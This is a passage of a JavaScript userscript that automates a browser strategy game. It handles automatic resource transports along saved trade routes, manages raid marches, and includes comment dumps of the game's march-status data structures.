            r[queueId].ship_Astone = (document.getElementById('pbbshipaetherstone')
                .checked);
            r[queueId].ship_Gold = (document.getElementById('pbbshipgold')
                .checked);
            r[queueId].target_Food = parseIntCommas(document.getElementById('pbbtargetamountfood')
                .value);
            r[queueId].target_Wood = parseIntCommas(document.getElementById('pbbtargetamountwood')
                .value);
            r[queueId].target_Stone = parseIntCommas(document.getElementById('pbbtargetamountstone')
                .value);
            r[queueId].target_Ore = parseIntCommas(document.getElementById('pbbtargetamountiron')
                .value);
            r[queueId].target_Astone = parseIntCommas(document.getElementById('pbbtargetamountaetherstone')
                .value);
            r[queueId].target_Gold = parseIntCommas(document.getElementById('pbbtargetamountgold')
                .value);
            r[queueId].trade_Food = parseIntCommas(document.getElementById('pbbtradeamountfood')
                .value);
            r[queueId].trade_Wood = parseIntCommas(document.getElementById('pbbtradeamountwood')
                .value);
            r[queueId].trade_Stone = parseIntCommas(document.getElementById('pbbtradeamountstone')
                .value);
            r[queueId].trade_Ore = parseIntCommas(document.getElementById('pbbtradeamountiron')
                .value);
            r[queueId].trade_Astone = parseIntCommas(document.getElementById('pbbtradeamountaetherstone')
                .value);
            r[queueId].trade_Gold = parseIntCommas(document.getElementById('pbbtradeamountgold')
                .value);
            t.showTradeRoutes();
        }, false);
    },
    saveTradeRoutes: function () {
        var t = Tabs.transport;
        var serverID = getServerId();
        GM_setValue('tradeRoutes_' + serverID, JSON2.stringify(t.tradeRoutes));
    },
    readTradeRoutes: function () {
        var t = Tabs.transport;
        var serverID = getServerId();
        s = GM_getValue('tradeRoutes_' + serverID);
        if (s != null) {
            route = JSON2.parse(s);
            for (k in route)
            t.tradeRoutes[k] = route[k];
        }
        try {
            t.checkcitymoved();
        } catch (e) {
            //Do nothing
        }
    },
    checkcitymoved: function () {
        var t = Tabs.transport;
        for (var i = 0; i < t.tradeRoutes.length; i++) {
            if (typeof t.tradeRoutes[i].target_city == 'undefined' || parseIntNan(t.tradeRoutes[i].target_city) == 0 || Cities.byID[t.tradeRoutes[i].target_city] == 'undefined') continue;
            if (t.tradeRoutes[i].target_x != Cities.byID[t.tradeRoutes[i].target_city].x) t.tradeRoutes[i].target_x = Cities.byID[t.tradeRoutes[i].target_city].x;
            if (t.tradeRoutes[i].target_y != Cities.byID[t.tradeRoutes[i].target_city].y) t.tradeRoutes[i].target_y = Cities.byID[t.tradeRoutes[i].target_city].y;
        }
    },
    saveTraderState: function () {
        var t = Tabs.transport;
        var serverID = getServerId();
        GM_setValue('traderState_' + serverID, JSON2.stringify(t.traderState));
    },
    readTraderState: function () {
        var t = Tabs.transport;
        var serverID = getServerId();
        s = GM_getValue('traderState_' + serverID);
        if (s != null) {
            state = JSON2.parse(s);
            for (k in state)
            t.traderState[k] = state[k];
        }
    },
    toggleTraderState: function (obj) {
      obj =  document.getElementById('pbTraderState');
        var t = Tabs.transport;
        if (t.traderState.running == true) {
            t.traderState.running = false;
            obj.value = "Transport = OFF";
            if(document.getElementById('TransToggleTab'))document.getElementById('TransToggleTab').innerHTML = '<span style="color: #CCC">Transport: Off</span>';
            clearTimeout(t.checkdotradetimeout);
            t.count = 0;
        } else {
            t.traderState.running = true;
            obj.value = "Transport = ON";
            if(document.getElementById('TransToggleTab'))document.getElementById('TransToggleTab').innerHTML = '<span style="color: #FFFF00">Transport: On</span>';
            t.e_tradeRoutes();
        }
    },
    
    checkdoTrades: function(){
    var t = Tabs.transport;
    if(!t.traderState.running) return;
    if(t.tradeRoutes.length==0) return;
    t.doTrades(t.count,false);
    if (Options.ReverseTransport) {setTimeout(t.doTrades,2500,t.count,true);}
    t.count++;
    if(t.count < t.tradeRoutes.length){
              t.checkdotradetimeout = setTimeout(function() { t.checkdoTrades();}, 5000);
            } else {
              var now = new Date().getTime()/1000.0;
              now = now.toFixed(0);
              Options.lasttransport = now;
              saveOptions();    
              t.count = 0;
            }
    },
    
  doTrades: function(count,rev,tt){
    var t = Tabs.transport;
    if(!t.traderState.running) return;
       if(t.tradeRoutes.length==0) return;
       if(!t.tradeRoutes[count]["route_state"]) return;
       var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        params.gold =0;
        params.r1 =0;
        params.r2 =0;
        params.r3 =0;
        params.r4 =0 ;
        params.r5 =0 ;
        params.kid = 0;
        
        var carry_amount= 0;
        var wagons_needed=0;
        var citymax = 0;

        if (!rev) { 
			var city = t.tradeRoutes[count]["city"];
			var cityID = 'city' + city;
			var xcoord = t.tradeRoutes[count]["target_x"];
			var ycoord = t.tradeRoutes[count]["target_y"];
		}
		else
		{
			var city = t.tradeRoutes[count]["target_city"];
			var tgtcityID = 'city' + city;
			var revcity = t.tradeRoutes[count]["city"];
			var cityID = 'city' + revcity;
			if(!Cities.byID[revcity]) return;
			var xcoord = Cities.byID[revcity].x;
			var ycoord = Cities.byID[revcity].y;
		}
		if(!Cities.byID[city]) return;

		if (rev) { // only allow one reverse transport at a time
			if (t.tradeRoutes[count]["rev_eta"]) {
				if (parseInt(t.tradeRoutes[count]["rev_eta"]) > unsafeWindow.unixtime()) return;
			} 
		}
		
        var trade_Food = t.tradeRoutes[count]["trade_Food"];
        var trade_Wood = t.tradeRoutes[count]["trade_Wood"];
        var trade_Stone = t.tradeRoutes[count]["trade_Stone"];
        var trade_Ore = t.tradeRoutes[count]["trade_Ore"];
        var trade_Astone = t.tradeRoutes[count]["trade_Astone"];
        var trade_Gold = t.tradeRoutes[count]["trade_Gold"];
        var target_Food = t.tradeRoutes[count]["target_Food"];
        var target_Wood = t.tradeRoutes[count]["target_Wood"];
        var target_Stone = t.tradeRoutes[count]["target_Stone"];
        var target_Ore = t.tradeRoutes[count]["target_Ore"];
        var target_Astone = t.tradeRoutes[count]["target_Astone"];
        var target_Gold = t.tradeRoutes[count]["target_Gold"];
		var revpc = parseIntNan(Options.ReverseTransportPercent);
		var min_Food = t.tradeRoutes[count]["target_Food"] * revpc /100;
		var min_Wood = t.tradeRoutes[count]["target_Wood"] * revpc /100;
		var min_Stone = t.tradeRoutes[count]["target_Stone"] * revpc /100;
		var min_Ore = t.tradeRoutes[count]["target_Ore"] * revpc /100;
		var min_Astone = t.tradeRoutes[count]["target_Astone"] * revpc /100;
		var min_Gold = t.tradeRoutes[count]["target_Gold"] * revpc /100;
        var ship_Food = t.tradeRoutes[count]["ship_Food"];
        var ship_Wood = t.tradeRoutes[count]["ship_Wood"];
        var ship_Stone = t.tradeRoutes[count]["ship_Stone"];
        var ship_Ore = t.tradeRoutes[count]["ship_Ore"];
        var ship_Astone = t.tradeRoutes[count]["ship_Astone"];
        var ship_Gold = t.tradeRoutes[count]["ship_Gold"];
        var citymax_Food = parseIntNan(Seed.resources[cityID]['rec1'][0] / 3600);
        var citymax_Wood = parseIntNan(Seed.resources[cityID]['rec2'][0] / 3600);
        var citymax_Stone = parseIntNan(Seed.resources[cityID]['rec3'][0] / 3600);
        var citymax_Ore = parseIntNan(Seed.resources[cityID]['rec4'][0] / 3600);
        var citymax_Astone = parseIntNan(Seed.resources[cityID]['rec5'][0]);
        var citymax_Gold = parseIntNan(Seed.citystats[cityID]['gold']);

		if (!rev) {
			var carry_Food = parseIntNan(citymax_Food - target_Food);
			var carry_Wood = parseIntNan(citymax_Wood - target_Wood);
			var carry_Stone = parseIntNan(citymax_Stone - target_Stone);
			var carry_Ore = parseIntNan(citymax_Ore - target_Ore);
			var carry_Astone = parseIntNan(citymax_Astone - target_Astone);
			var carry_Gold = 0;
		}
		else
		{
			var carry_Food = parseIntNan(min_Food - citymax_Food);
			var carry_Wood = parseIntNan(min_Wood - citymax_Wood);
			var carry_Stone = parseIntNan(min_Stone - citymax_Stone);
			var carry_Ore = parseIntNan(min_Ore - citymax_Ore);
			var carry_Astone = parseIntNan(min_Astone - citymax_Astone);
			var carry_Gold = 0;

			var tgtcitymax_Food = parseIntNan(Seed.resources[tgtcityID]['rec1'][0] / 3600);
			var tgtcitymax_Wood = parseIntNan(Seed.resources[tgtcityID]['rec2'][0] / 3600);
			var tgtcitymax_Stone = parseIntNan(Seed.resources[tgtcityID]['rec3'][0] / 3600);
			var tgtcitymax_Ore = parseIntNan(Seed.resources[tgtcityID]['rec4'][0] / 3600);
			var tgtcitymax_Astone = parseIntNan(Seed.resources[tgtcityID]['rec5'][0]);
			var tgtcitymax_Gold = parseIntNan(Seed.citystats[tgtcityID]['gold']);
		}
		
        if (carry_Food < 0 || ship_Food == false) carry_Food = 0;
        if (carry_Wood < 0 || ship_Wood == false) carry_Wood = 0;
        if (carry_Stone < 0 || ship_Stone == false) carry_Stone = 0;
        if (carry_Ore < 0 || ship_Ore == false) carry_Ore = 0;
        if (carry_Astone < 0 || ship_Astone == false) carry_Astone = 0;

		if (!rev) {
			if (trade_Food > 0 && (carry_Food > trade_Food)) carry_Food = parseIntNan(trade_Food);
			if (trade_Wood > 0 && (carry_Wood > trade_Wood)) carry_Wood = parseIntNan(trade_Wood);
			if (trade_Stone > 0 && (carry_Stone > trade_Stone)) carry_Stone = parseIntNan(trade_Stone);
			if (trade_Ore > 0 && (carry_Ore > trade_Ore)) carry_Ore = parseIntNan(trade_Ore);
			if (trade_Astone > 0 && (carry_Astone > trade_Astone)) carry_Astone = parseIntNan(trade_Astone);
		}
		else { // reverse trans up to keep value (not min value)
			if (carry_Food > 0 && (target_Food > min_Food)) carry_Food = parseIntNan(target_Food - citymax_Food);
			if (carry_Wood > 0 && (target_Wood > min_Wood)) carry_Wood = parseIntNan(target_Wood - citymax_Wood);
			if (carry_Stone > 0 && (target_Stone > min_Stone)) carry_Stone = parseIntNan(target_Stone - citymax_Stone);
			if (carry_Ore > 0 && (target_Ore > min_Ore)) carry_Ore = parseIntNan(target_Ore - citymax_Ore);
			if (carry_Astone > 0 && (target_Astone > min_Astone)) carry_Astone = parseIntNan(target_Astone - citymax_Astone);

			// don't attempt to reverse transport more than you actually have available...
			if (carry_Food > tgtcitymax_Food) carry_Food = parseIntNan(tgtcitymax_Food);
			if (carry_Wood > tgtcitymax_Wood) carry_Wood = parseIntNan(tgtcitymax_Wood);
			if (carry_Stone > tgtcitymax_Stone) carry_Stone = parseIntNan(tgtcitymax_Stone);
			if (carry_Ore > tgtcitymax_Ore) carry_Ore = parseIntNan(tgtcitymax_Ore);
			if (carry_Astone > tgtcitymax_Astone) carry_Astone = parseIntNan(tgtcitymax_Astone);
		}
        carry_Astone *= 5; //Multiply by 5 to account for 5 times less carrying capacity
      
      if (t.tradeRoutes[count]['TroopType'] == undefined) var unit = 'unt9';
      else var unit = t.tradeRoutes[count]['TroopType'];

	  if (!rev) {
		var Troops = parseInt(Seed.units[cityID][unit]); 
		var slots = Number(March.getEmptySlots(cityID.split("city")[1]));
	  }	
	  else {
		 var Troops = parseInt(Seed.units[tgtcityID][unit]); 
 		 var slots = Number(March.getEmptySlots(tgtcityID.split("city")[1]));
	  }	 
      if (parseInt(slots) <=0){ if (DEBUG_TRACE) {logit('Transport - No free slots');} return; } // no free slots - don't bother server!
	  
      var rallypointlevel = March.getMaxSize(city);
        if (parseInt(Troops) > parseInt(rallypointlevel)){ Troops = (rallypointlevel); }
      
      var featherweight = parseInt(Seed.tech.tch10) * 0.1;
        var loadEffectBoost = 0;
        if (Seed.playerEffects.loadExpire > unsafeWindow.unixtime()) {
            loadEffectBoost = 0.25;
        };
        var tboost = unsafeWindow.cm.ThroneController.effectBonus(6)+loadEffectBoost;
        if(tboost > unsafeWindow.cm.thronestats.boosts['Load'].Max) tboost = unsafeWindow.cm.thronestats.boosts['Load'].Max;
        var loadBoostBase = (Math.floor(Number(tboost)) * 0.01) +featherweight;
        
					if (unsafeWindow.cm.unitFrontendType[unit] == "siege") {
						loadBoostBase += (unsafeWindow.cm.ThroneController.effectBonus(59) * 0.01)
					};
                    if (unsafeWindow.cm.unitFrontendType[unit] == "horsed") {
                        loadBoostBase += (unsafeWindow.cm.ThroneController.effectBonus(48) * 0.01);
                    };

		var Load = parseInt(unsafeWindow.unitstats[unit]['5']);
		if (unsafeWindow.seed.queue_sacr["city"+cityID]) {
			for(var sacIndex = 0; sacIndex < unsafeWindow.seed.queue_sacr["city"+cityID].length; sacIndex ++ ) if(unsafeWindow.seed.queue_sacr["city"+cityID][sacIndex]["unitType"] == unit.slice(3)) Load *= unsafeWindow.seed.queue_sacr["city" + cityID][sacIndex]["multiplier"][0];
		}

        loadBoostBase += 1;
        var LoadUnit = Math.floor(loadBoostBase*Load)-1;
        var maxloadperwagon = LoadUnit;
          var maxload = (maxloadperwagon * Troops);
          if(Troops <= 0) {return; }

           for (var t=0; t< Seed.cities.length;t++) {
               if ( parseInt(Seed.cities[t][0]) == city) var cityname = Seed.cities[t][1];
          }                     
        
          var shift_Food = parseIntNan(maxload / 9); //Total of 9 portions
          var shift_Wood = parseIntNan(maxload / 9);
          var shift_Stone = parseIntNan(maxload / 9);
          var shift_Ore = parseIntNan(maxload / 9);
          var shift_Astone = parseIntNan(maxload / 9 * 5); //Aetherstone takes 5 of 9 portions    
          if ((maxload - carry_Food - carry_Wood - carry_Stone - carry_Ore - carry_Astone) < 0){
             var shift_num=0;
             var shift_spare=0;
            
            // Check: See if load/4 is to big for some resources...
            if (carry_Food < shift_Food) {
                shift_spare += (shift_Food - carry_Food);
                shift_Food = carry_Food;
            }
            if (carry_Wood < shift_Wood) {
                shift_spare += (shift_Wood - carry_Wood);
                shift_Wood = carry_Wood;
            }
            if (carry_Stone < shift_Stone) {
                shift_spare += (shift_Stone - carry_Stone);
                shift_Stone = carry_Stone;
            }
            if (carry_Ore < shift_Ore) {
                shift_spare += (shift_Ore - carry_Ore);
                shift_Ore = carry_Ore;
            }
            if (carry_Astone < shift_Astone) {
                shift_spare += (shift_Astone - carry_Astone);
                shift_Astone = carry_Astone;
            }                        
             
          while (shift_spare >1) {
                 if (carry_Food < (shift_Food + shift_spare)){
                    shift_spare = shift_spare - carry_Food;;
                    shift_Food = carry_Food;
                 }
                 else{
                  shift_Food = (shift_Food + shift_spare);
                  shift_spare = shift_spare- shift_spare;
                }
                 if (carry_Wood < (shift_Wood + shift_spare)){
                    shift_spare = shift_spare - carry_Wood;;
                    shift_Wood = carry_Wood;
                } else {
                    shift_Wood = shift_Wood + shift_spare;
                    shift_spare = shift_spare - shift_spare;
                }
                if (carry_Stone < (shift_Stone + shift_spare)){
                    shift_spare = shift_spare - carry_Stone;
                    shift_Stone = carry_Stone;
                } else {
                    shift_Stone = shift_Stone + shift_spare;
                    shift_spare = shift_spare - shift_spare;
                }
                if (carry_Ore < (shift_Ore + shift_spare)) {
                    shift_spare = shift_spare - carry_Ore;
                    shift_Ore = carry_Ore;
                } else {
                    shift_Ore = shift_Ore + shift_spare;
                    shift_spare = shift_spare - shift_spare;
                }
                if (carry_Astone < (shift_Astone + shift_spare)) {
                    shift_spare = shift_spare - carry_Astone;
                    shift_Astone = carry_Astone;
                } else {
                    shift_Astone = shift_Astone + shift_spare;
                    shift_spare = shift_spare - shift_spare;
                }
            }
            carry_Food = shift_Food;
            carry_Wood = shift_Wood;
            carry_Stone = shift_Stone;
            carry_Ore = shift_Ore;
            carry_Astone = shift_Astone;
        }
        if (maxload > (carry_Food + carry_Wood + carry_Stone + carry_Ore + carry_Astone) && ship_Gold == true) {
			if (!rev) {
				if ((maxload - (carry_Food + carry_Wood + carry_Stone + carry_Ore + carry_Astone)) > (citymax_Gold - target_Gold)) {
					carry_Gold = (citymax_Gold - target_Gold);
					if (carry_Gold < 0) carry_Gold = 0;
				} else carry_Gold = (maxload - (carry_Food + carry_Wood + carry_Stone + carry_Ore + carry_Astone));
				if (trade_Gold > 0 && (carry_Gold > trade_Gold)) carry_Gold = parseInt(trade_Gold);
			}
			else
			{
				if ((maxload - (carry_Food + carry_Wood + carry_Stone + carry_Ore + carry_Astone)) > (min_Gold - citymax_Gold)) {
					carry_Gold = (min_Gold - citymax_Gold);
					if (carry_Gold < 0) carry_Gold = 0;
				} else carry_Gold = (maxload - (carry_Food + carry_Wood + carry_Stone + carry_Ore + carry_Astone));
				if (carry_Gold > tgtcitymax_Gold) carry_Gold = parseIntNan(tgtcitymax_Gold);
			}
        }
        wagons_needed = ((carry_Food + carry_Wood + carry_Stone + carry_Ore + carry_Astone + carry_Gold) / maxloadperwagon);
        wagons_needed = wagons_needed.toFixed(0);
        if (wagons_needed < ((carry_Food + carry_Wood + carry_Stone + carry_Ore + carry_Astone + carry_Gold) / maxloadperwagon)) wagons_needed++;
        if (wagons_needed < Options.minwagons) {
            if (DEBUG_TRACE) logit('Small transport skipped');
            return;
        }
        params.cid = city;
        params.type = "1";
        params.xcoord = xcoord;
        params.ycoord = ycoord;
        params.r1 = carry_Food;
        params.r2 = carry_Wood;
        params.r3 = carry_Stone;
        params.r4 = carry_Ore;
        params.r5 = parseInt(carry_Astone/5);
        params.gold = carry_Gold;
        
		params["u"+unit.slice(3)] = wagons_needed;
        
           if ((carry_Food + carry_Wood + carry_Stone + carry_Ore + carry_Astone + carry_Gold) > 0) {
			if(tt) params.tt = tt;    
		
			March.addMarch(params, function(rslt){
				if (rslt.ok) {
					if (!rev) {
						actionLog('Trade   From: ' + cityname + "   To: " + xcoord + ',' + ycoord + "    ->   "+ unsafeWindow.unitcost[unit][0] +": " + wagons_needed);
					}
					else {
						actionLog('Reverse Trade   From: ' + cityname + "   To: " + xcoord + ',' + ycoord + "    ->   "+ unsafeWindow.unitcost[unit][0] +": " + wagons_needed);
						var t = Tabs.transport;
						t.tradeRoutes[count]["rev_eta"] = parseInt(rslt.eta);
					}
				}
				else {
					if (!rslt.msg) {rslt.msg = 'Error Code ('+rslt.error_code+')';}
					if (!rev)
						actionLog(''+translate("TRANSPORT FAIL:")+' ' + cityname + ' -> ' + rslt.msg);
					else	
						actionLog(''+translate("REVERSE TRANSPORT FAIL:")+' ' + cityname + ' -> ' + rslt.msg);
				}
			});
		}
	},
    
    ManualTransport: function(tt){
		var t = Tabs.transport;
		if (document.getElementById ('ptcityX').value == "" || document.getElementById ('ptcityY').value == "") return;
		if ( t.TroopsNeeded > t.Troops) return;
    
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		var unitType = document.getElementById('TransportTroop').value;
		var LoadUnit = (parseInt(Seed.tech.tch10) * ((parseInt(unsafeWindow.unitstats[unitType]['5'])/100)*10)) + parseInt(unsafeWindow.unitstats[unitType]['5']);
		var Load =  parseInt(Seed.units['city' + t.tcp.city.id][unitType]);
		if (unsafeWindow.seed.queue_sacr["city"+t.tcp.city.id]) {
			for(var sacIndex = 0; sacIndex < unsafeWindow.seed.queue_sacr["city"+t.tcp.city.id].length; sacIndex ++ ) if(unsafeWindow.seed.queue_sacr["city"+t.tcp.city.id][sacIndex]["unitType"] == unitType.slice(3)) Load *= unsafeWindow.seed.queue_sacr["city"+t.tcp.city.id][sacIndex]["multiplier"][0];
		}	
		var MaxLoad = Load * LoadUnit;

		document.getElementById ('errorSpace').innerHTML = '';
          
		params.kid = 0;
		params.cid=  t.tcp.city.id;
		params.type = "1";
		params.xcoord = parseInt(document.getElementById ('ptcityX').value);
		params.ycoord = parseInt(document.getElementById ('ptcityY').value);
		params.r1 = parseInt(document.getElementById ('pbtradeamountFood').value);
		params.r2 = parseInt(document.getElementById ('pbtradeamountWood').value);
		params.r3 = parseInt(document.getElementById ('pbtradeamountStone').value);
		params.r4 = parseInt(document.getElementById ('pbtradeamountOre').value);
		params.r5 = parseInt(document.getElementById ('pbtradeamountAstone').value);
		params.gold = parseInt(document.getElementById ('pbtradeamountGold').value);

		params["u"+unitType.slice(3)] = parseInt(document.getElementById ('TroopsToSend').value);

		if (tt) params.tt = tt;
	
		if ((params.r1 + params.r2 + params.r3 + params.r4 + params.r5 + params.gold) > 0) {
                 
			March.addMarch(params, function(rslt){
				if (rslt.ok) {
					document.getElementById ('errorSpace').innerHTML = 'Send: ' + addCommas(params.r1+params.r2+params.r3+params.r4+params.r5+params.gold) + ' Resources with ' + addCommas(parseInt(document.getElementById ('TroopsToSend').value)) + ' ' + unsafeWindow.unitcost[unitType][0];
					document.getElementById ('pbtradeamountFood').value = 0;
					document.getElementById ('pbtradeamountWood').value = 0;
					document.getElementById ('pbtradeamountStone').value = 0;
					document.getElementById ('pbtradeamountOre').value = 0;
					document.getElementById ('pbtradeamountAstone').value = 0;
					document.getElementById ('pbtradeamountGold').value = 0;
					document.getElementById ('TroopsToSend').value = 0;
				}
				else {
					var errorcode =  'err_' + rslt.error_code;
					if (rslt.msg == undefined)document.getElementById ('errorSpace').innerHTML = '<HR><FONT COLOR=red>'+translate("Error:")+' ' + unsafeWindow.g_js_strings.errorcode[errorcode] +'</font>';
					else document.getElementById ('errorSpace').innerHTML = '<HR><FONT COLOR=red>'+translate("Error:")+' ' + rslt.msg +'</font>';
				}
			});
		}
	},
    show: function (x) {
        var t = Tabs.transport;
        clearTimeout(t.timer);
        t.updateTroops();
        t.updateResources();
        t.timer = setTimeout(function(){t.show(true)}, 1000);
        if(!x)
			if(document.getElementById('mapwindow')) {
        		document.getElementById('ptcityX').value = document.getElementById('mapXCoor').value;
       	 	document.getElementById('ptcityY').value = document.getElementById('mapYCoor').value;
        };
    },
    hide: function () {
        var t = Tabs.transport;
        clearTimeout(t.timer);
    },
    onUnload: function () {
        var t = Tabs.transport;
        if (!ResetAll) t.saveTradeRoutes();
        if (!ResetAll) t.saveTraderState();
    },
}



/*********************************  Raid Tab ***********************************/
/************** Bot active
(object) queue_atkp = [object Object]
    (object) city73930 = [object Object]
      (object) m6093 = [object Object]
        (number) marchType = 9
        (number) marchStatus = 1
        (string) playerId = 1550996
        (string) cityId = 73930
        (string) botSettingsId = 1479
        (string) botMarchStatus = 1
        (string) botState = 1
        (string) modalState = 0
        (string) restPeriod = 3472
        (string) fromPlayerId = 1550996
        (string) fromCityId = 73930
        (string) fromAllianceId = 2199
        (string) fromXCoord = 159
        (string) fromYCoord = 638
        (undefined) toPlayerId: null = null
        (undefined) toCityId: null = null
        (undefined) toAllianceId: null = null
********/
/************* Bot returning
(object) queue_atkp = [object Object]
    (object) city73930 = [object Object]
      (object) m6093 = [object Object]
        (number) marchType = 9
        (number) marchStatus = 8
        (string) playerId = 1550996
        (string) cityId = 73930
        (string) botSettingsId = 1479
        (string) botMarchStatus = 1
        (string) botState = 1
        (string) modalState = 0
        (string) restPeriod = 3472
        (string) fromPlayerId = 1550996
        (string) fromCityId = 73930
        (string) fromAllianceId = 2199
        (string) fromXCoord = 159
        (string) fromYCoord = 638
        (undefined) toPlayerId: null = null
        (undefined) toCityId: null = null
        (undefined) toAllianceId: null = null
*****/
/******** Bot resting
(object) queue_atkp = [object Object]
    (object) city73930 = [object Object]
      (object) m6093 = [object Object]
        (string) marchType = 9
        (string) marchStatus = 4
        (string) playerId = 1550996
        (string) cityId = 73930
        (string) botSettingsId = 1479
        (string) botMarchStatus = 7
        (string) botState = 1
        (string) modalState = 0
        (string) restPeriod = 3472
        (string) fromPlayerId = 1550996
        (string) fromCityId = 73930
        (string) fromAllianceId = 2199
        (string) fromXCoord = 159
        (string) fromYCoord = 638
        (undefined) toPlayerId: null = null
        (undefined) toCityId: null = null
        (string) toTileId = 451239
        (undefined) toAllianceId: null = null
**********/
/************* March type cheat sheet
cm.BOT_STATUS = {
    BOT_MARCH_UNDEFINED: 0,
    BOT_MARCH_MARCHING: 1,
    BOT_MARCH_RETURNING: 2,
    BOT_MARCH_STOPPED: 3,
    BOT_MARCH_INSUFFICIENT_TROOPS: 4,
    BOT_MARCH_MAX_RAIDS_EXCEEDED: 5,
    BOT_MARCH_TIMED_OUT: 6,
    BOT_MARCH_RESTING: 7
};
cm.MARCH_STATUS = {
    MARCH_STATUS_INACTIVE: 0,
    MARCH_STATUS_OUTBOUND: 1,
    MARCH_STATUS_DEFENDING: 2,
    MARCH_STATUS_STOPPED: 3,
    MARCH_STATUS_RESTING: 4,
    MARCH_STATUS_UNKNOWN: 5,
    MARCH_STATUS_SITUATIONCHANGED: 7,
    MARCH_STATUS_RETURNING: 8,
    MARCH_STATUS_ABORTING: 9
};
cm.MARCH_TYPES = {
    MARCH_TYPE_NONE: 0,
    MARCH_TYPE_TRANSPORT: 1,
    MARCH_TYPE_REINFORCE: 2,
    MARCH_TYPE_SCOUT: 3,
    MARCH_TYPE_ATTACK: 4,
    MARCH_TYPE_REASSIGN: 5,
    MARCH_TYPE_BARBARIAN: 6,
    MARCH_TYPE_MERCENARY: 7,
    MARCH_TYPE_BARBARIAN_REINFORCE: 8,
    MARCH_TYPE_BOT_BARBARIAN: 9
};
************/

 Tabs.Raid = {
  tabDisabled : false,
  tabOrder : 110,
  myDiv : null,
  tabLabel : unsafeWindow.g_js_strings.commonstr.raid,
  rallypointlevel:null,
  knt:{},
  Troops:{},
  city:0,
  raidtimer:null,
  rslt:{},
  save:{},
  stopping:false,
  resuming:false,
  deleting:false,
  stopprogress:0,
  stopcount:0,
  activecount:0,
  count:0,
  
  init : function (div){
    var t = Tabs.Raid;
    t.myDiv = div;
    t.raidtimer = setTimeout(t.checkRaids, 30000);
    setInterval(t.lookup, 2500);
    setInterval(t.sendreport, 1*60*1000);
  
   if(Options.raidbtns) {
      AddSubTabLink('Stop Raids', t.StopAllRaids, 'pbraidtab');
      AddSubTabLink('Resume Raids', t.ResumeAllRaids, 'pbraidtabRes');
      AddSubTabLink('Delete Raids', t.DeleteAllRaids, 'pbraidtabDel');
   };
    
    var m = '<DIV class=pbStat>RAID FUNCTIONS</div><TABLE width=100% height=0% class=pbTab><TR align="center">';
        m += '<TD><INPUT id=pbRaidStart type=submit value="Auto Reset = '+ (Options.RaidRunning?'ON':'OFF') +'" ></td>';
        m += '<TD><INPUT id=pbsendraidreport type=checkbox '+ (Options.foodreport?'CHECKED':'') +'\> Send raid report every ';
        m += '<INPUT id=pbsendreportint value='+ Options.MsgInterval +' type=text size=3 \> hours </td>';
        m += '</tr></table></div>';
        m += '<DIV class=pbStat>ACTIVE RAIDS</div><TABLE width=100% height=0% class=pbTab><TR align="center">';
        m += '<TD><DIV style="margin-bottom:10px;"><span id=ptRaidCity></span></div></td></tr>';
        m+='<TR><TD><DIV style="margin-bottom:10px;"><span id=ptRaidTimer></span></div></td></tr></table>';
        m += '<DIV id=PaintRaids></div>';
        m += '<DIV class=pbStat>SAVED RAIDS</div><TABLE width=100% height=0% class=pbTab><TR align="center">';
        m += '<DIV id=SavedRaids></div>';
    t.myDiv.innerHTML = m;
    
    t.from = new CdispCityPicker ('ptRaidpicker', document.getElementById('ptRaidCity'), true, t.clickCitySelect, 0);
    document.getElementById('pbRaidStart').addEventListener('click', t.toggleRaidState, false);
    document.getElementById('pbsendraidreport').addEventListener('change', function(){
        Options.foodreport = document.getElementById('pbsendraidreport').checked;
        saveOptions();
    }, false);
    document.getElementById('pbsendreportint').addEventListener('change', function(){
        Options.MsgInterval = parseInt(document.getElementById('pbsendreportint').value);
        saveOptions();
    }, false);
    
    var serverID = getServerId();
    t.save = GM_getValue ('SavedRaids_'+serverID);
    if (t.save != undefined) t.save = JSON2.parse (t.save);
    
    setInterval (t.paint,1000);
  },
    
  lookup : function (){
          var t = Tabs.Raid;
          t.activecount=0;
          t.stopcount=0;
          for (c=0; c< Seed.cities.length;c++) {
                  cityID = 'city' + Seed.cities[c][0];    
                   for (b in Seed.queue_atkp[cityID]){
                       destinationUnixTime = Seed.queue_atkp[cityID][b]['destinationUnixTime'];
                       MarchStatus = Seed.queue_atkp[cityID][b]['marchStatus'];
                       MarchType = Seed.queue_atkp[cityID][b]['marchType'];
                       botMarchStatus = Seed.queue_atkp[cityID][b]['botMarchStatus'];
                       if (MarchType == 9 &&  MarchStatus == 3 || MarchStatus==10) t.stopcount++;
                       else if (MarchType == 9) t.activecount++;
                       //alert(MarchType +'/'+  MarchStatus);
                   }
           }
           //logit(t.stopcount);   
           if(!Options.raidbtns)return; 
           if (t.resuming == false && t.stopping == false && t.deleting == false && t.activecount != 0)
            document.getElementById('pbraidtab').innerHTML = '<span style="color: #ff6">Stop Raids ('+ t.activecount + ')</span>'
           else if (t.resuming == false && t.stopping == false && t.deleting == false)
            document.getElementById('pbraidtab').innerHTML = '<span style="color: #CCC">Stop Raids ('+ t.activecount + ')</span>'
           if (t.resuming == false && t.resuming == false && t.deleting == false && t.stopcount !=0)
            document.getElementById('pbraidtabRes').innerHTML = '<span style="color: #ff6">Resume Raids ('+ t.stopcount + ')</span>'
           else if (t.resuming == false && t.stopping == false && t.deleting == false)
            document.getElementById('pbraidtabRes').innerHTML = '<span style="color: #CCC">Resume Raids ('+ t.stopcount + ')</span>'
           if (t.resuming == false && t.stopping == false && t.deleting == false && t.stopcount !=0)
            document.getElementById('pbraidtabDel').innerHTML = '<span style="color: #ff6">Delete Raids ('+ t.stopcount + ')</span>'
           else if (t.resuming == false && t.stopping == false && t.deleting == false)
            document.getElementById('pbraidtabDel').innerHTML = '<span style="color: #CCC">Delete Raids ('+ t.stopcount + ')</span>'
  },
   
       
  paint : function ()    {
      var t = Tabs.Raid;
      var botMarchStat = {0:'Inactive',
                          1:'Raiding',
                          2:'Returning',
                          3:'Stopped',
                          4:'Resting',
                          5:'Unknown',
                          7:'Situation Changed',
                          8:'Returning',
                          9:'Aborting'};
      var botStat = {0:'Undefined',
                          1:'Marching',
                          2:'Returning',
                          3:'Stopped',
                          4:'Insufficient Troops',
                          5:'Max Raids Exceeded',
                          7:'Timed out',
                          8:'Resting'};
      var o = '';
      if (t.rslt.settings != undefined) o+= '<FONT size=2px><B>Raid Timer: '+ timestr( 86400 - ( unixTime() - t.rslt.settings.lastUpdated )) +'</b></font>';
      document.getElementById('ptRaidTimer').innerHTML = o;
      
